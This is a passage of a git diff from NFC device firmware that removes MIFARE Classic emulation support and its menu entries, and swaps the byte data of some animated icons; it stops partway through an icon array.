--git a/applications/nfc/nfc_worker.c b/applications/nfc/nfc_worker.c index 9016763df..6b3c8f092 100644 --- a/applications/nfc/nfc_worker.c +++ b/applications/nfc/nfc_worker.c @@ -7,7 +7,6 @@ #include #include #include -#include #include "helpers/nfc_mf_classic_dict.h" @@ -105,8 +104,6 @@ int32_t nfc_worker_task(void* context) { nfc_worker_emulate_mifare_ul(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateReadMifareClassic) { nfc_worker_mifare_classic_dict_attack(nfc_worker); - } else if(nfc_worker->state == NfcWorkerStateEmulateMifareClassic) { - nfc_worker_emulate_mifare_classic(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateReadMifareDesfire) { nfc_worker_read_mifare_desfire(nfc_worker); } @@ -477,26 +474,6 @@ void nfc_worker_mifare_classic_dict_attack(NfcWorker* nfc_worker) { stream_free(nfc_worker->dict_stream); } -void nfc_worker_emulate_mifare_classic(NfcWorker* nfc_worker) { - FuriHalNfcTxRxContext tx_rx; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - MfClassicEmulator emulator = { - .cuid = nfc_util_bytes2num(&nfc_data->uid[nfc_data->uid_len - 4], 4), - .data = nfc_worker->dev_data->mf_classic_data, - }; - NfcaSignal* nfca_signal = nfca_signal_alloc(); - tx_rx.nfca_signal = nfca_signal; - - while(nfc_worker->state == NfcWorkerStateEmulateMifareClassic) { - if(furi_hal_nfc_listen( - nfc_data->uid, nfc_data->uid_len, nfc_data->atqa, nfc_data->sak, true, 4000)) { - mf_classic_emulator(&emulator, &tx_rx); - } - } - - nfca_signal_free(nfca_signal); -} - void nfc_worker_read_mifare_desfire(NfcWorker* nfc_worker) { ReturnCode err; uint8_t tx_buff[64] = {}; diff --git a/applications/nfc/nfc_worker.h b/applications/nfc/nfc_worker.h index a68f42d72..1933a79b7 100755 --- a/applications/nfc/nfc_worker.h +++ b/applications/nfc/nfc_worker.h @@ -19,7 +19,6 @@ typedef enum { NfcWorkerStateReadMifareUltralight, NfcWorkerStateEmulateMifareUltralight, NfcWorkerStateReadMifareClassic, - NfcWorkerStateEmulateMifareClassic, NfcWorkerStateReadMifareDesfire, // Transition NfcWorkerStateStop, diff --git a/applications/nfc/scenes/nfc_scene_config.h b/applications/nfc/scenes/nfc_scene_config.h index 45e78aed2..6b5d5d10c 100755 --- a/applications/nfc/scenes/nfc_scene_config.h +++ b/applications/nfc/scenes/nfc_scene_config.h @@ -34,5 +34,4 @@ ADD_SCENE(nfc, restore_original, RestoreOriginal) ADD_SCENE(nfc, debug, Debug) ADD_SCENE(nfc, field, Field) ADD_SCENE(nfc, read_mifare_classic, ReadMifareClassic) -ADD_SCENE(nfc, emulate_mifare_classic, EmulateMifareClassic) ADD_SCENE(nfc, dict_not_found, DictNotFound) diff --git a/applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c b/applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c deleted file mode 100644 index 2b8478175..000000000 --- a/applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../nfc_i.h" -#include - -#define NFC_MF_CLASSIC_DATA_NOT_CHANGED (0UL) -#define NFC_MF_CLASSIC_DATA_CHANGED (1UL) - -void nfc_emulate_mifare_classic_worker_callback(NfcWorkerEvent event, void* context) { - UNUSED(event); - Nfc* nfc = context; - - scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateMifareUl, NFC_MF_CLASSIC_DATA_CHANGED); -} - -void nfc_scene_emulate_mifare_classic_on_enter(void* context) { - Nfc* nfc = context; - DOLPHIN_DEED(DolphinDeedNfcEmulate); - - // Setup view - Popup* popup = nfc->popup; - if(strcmp(nfc->dev->dev_name, "")) { - nfc_text_store_set(nfc, "%s", nfc->dev->dev_name); - } - popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); - popup_set_header(popup, "Emulating\nMf Classic", 56, 31, AlignLeft, AlignTop); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); - nfc_worker_start( - nfc->worker, - NfcWorkerStateEmulateMifareClassic, - &nfc->dev->dev_data, - nfc_emulate_mifare_classic_worker_callback, - nfc); -} - -bool nfc_scene_emulate_mifare_classic_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeTick) { - notification_message(nfc->notifications, &sequence_blink_blue_10); - consumed = true; - } else if(event.type == SceneManagerEventTypeBack) { - // Stop worker - nfc_worker_stop(nfc->worker); - // Check if data changed and save in shadow file - if(scene_manager_get_scene_state(nfc->scene_manager, NfcSceneEmulateMifareUl) == - NFC_MF_CLASSIC_DATA_CHANGED) { - scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateMifareUl, NFC_MF_CLASSIC_DATA_NOT_CHANGED); - nfc_device_save_shadow(nfc->dev, nfc->dev->dev_name); - } - consumed = false; - } - return consumed; -} - -void nfc_scene_emulate_mifare_classic_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - popup_reset(nfc->popup); -} diff --git a/applications/nfc/scenes/nfc_scene_saved_menu.c b/applications/nfc/scenes/nfc_scene_saved_menu.c index 1b435ccd1..e0489c157 100644 --- a/applications/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/nfc/scenes/nfc_scene_saved_menu.c @@ -27,11 +27,13 @@ void nfc_scene_saved_menu_on_enter(void* context) { SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); - } else if( - nfc->dev->format == NfcDeviceSaveFormatMifareUl || - nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { + } else if(nfc->dev->format == NfcDeviceSaveFormatMifareUl) { submenu_add_item( - submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_saved_menu_submenu_callback, nfc); + submenu, + "Emulate Ultralight", + SubmenuIndexEmulate, + nfc_scene_saved_menu_submenu_callback, + nfc); } submenu_add_item( submenu, "Edit UID and Name", SubmenuIndexEdit, nfc_scene_saved_menu_submenu_callback, nfc); @@ -62,8 +64,6 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexEmulate) { if(nfc->dev->format == NfcDeviceSaveFormatMifareUl) { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateMifareUl); - } else if(nfc->dev->format == NfcDeviceSaveFormatMifareClassic) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateMifareClassic); } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); } diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 4992c7d96..566a22fd4 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -452,52 +452,43 @@ const uint8_t _A_Tamagotchi_14_4[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x const uint8_t _A_Tamagotchi_14_5[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x0C,0xF2,0x19,0x5A,0x1A,0xA9,0x32,0x49,0x33,0xF1,0x31,0x01,0x30,0x52,0x39,0x02,0x18,0x0C,0x0E,0xF0,0x07,}; const uint8_t* const _A_Tamagotchi_14[] = {_A_Tamagotchi_14_0,_A_Tamagotchi_14_1,_A_Tamagotchi_14_2,_A_Tamagotchi_14_3,_A_Tamagotchi_14_4,_A_Tamagotchi_14_5}; -const uint8_t _A_TouchTunes_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; -const uint8_t _A_TouchTunes_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; -const uint8_t _A_TouchTunes_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; -const uint8_t _A_TouchTunes_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_TouchTunes_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_TouchTunes_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; -const uint8_t _A_TouchTunes_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; -const uint8_t _A_TouchTunes_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; -const uint8_t _A_TouchTunes_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; -const uint8_t _A_TouchTunes_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; -const uint8_t _A_TouchTunes_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; -const uint8_t _A_TouchTunes_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; -const uint8_t _A_TouchTunes_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t _A_TouchTunes_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; -const uint8_t* const _A_TouchTunes_14[] = {_A_TouchTunes_14_0,_A_TouchTunes_14_1,_A_TouchTunes_14_2,_A_TouchTunes_14_3,_A_TouchTunes_14_4,_A_TouchTunes_14_5,_A_TouchTunes_14_6,_A_TouchTunes_14_7,_A_TouchTunes_14_8,_A_TouchTunes_14_9,_A_TouchTunes_14_10,_A_TouchTunes_14_11,_A_TouchTunes_14_12,_A_TouchTunes_14_13,_A_TouchTunes_14_14,_A_TouchTunes_14_15,_A_TouchTunes_14_16,_A_TouchTunes_14_17,_A_TouchTunes_14_18,_A_TouchTunes_14_19,_A_TouchTunes_14_20,_A_TouchTunes_14_21,_A_TouchTunes_14_22,_A_TouchTunes_14_23,_A_TouchTunes_14_24,_A_TouchTunes_14_25,_A_TouchTunes_14_26,_A_TouchTunes_14_27,_A_TouchTunes_14_28,_A_TouchTunes_14_29}; - const uint8_t _A_U2F_14_0[] = {0x00,0x00,0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_1[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08,0x00,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; -const uint8_t _A_UniversalRemote_14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_1[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_2[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb3,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa0,0x11,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_4[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xf2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_5[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; -const uint8_t _A_UniversalRemote_14_6[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0xfb,0x46,0xfe,0xb2,0xb0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; -const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6}; +const uint8_t _A_UniversalRemote_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; +const uint8_t _A_UniversalRemote_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; +const uint8_t _A_UniversalRemote_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; +const uint8_t _A_UniversalRemote_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_UniversalRemote_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_UniversalRemote_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_UniversalRemote_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; +const uint8_t _A_UniversalRemote_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; +const uint8_t _A_UniversalRemote_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; +const uint8_t _A_UniversalRemote_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; +const uint8_t _A_UniversalRemote_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_29[] = 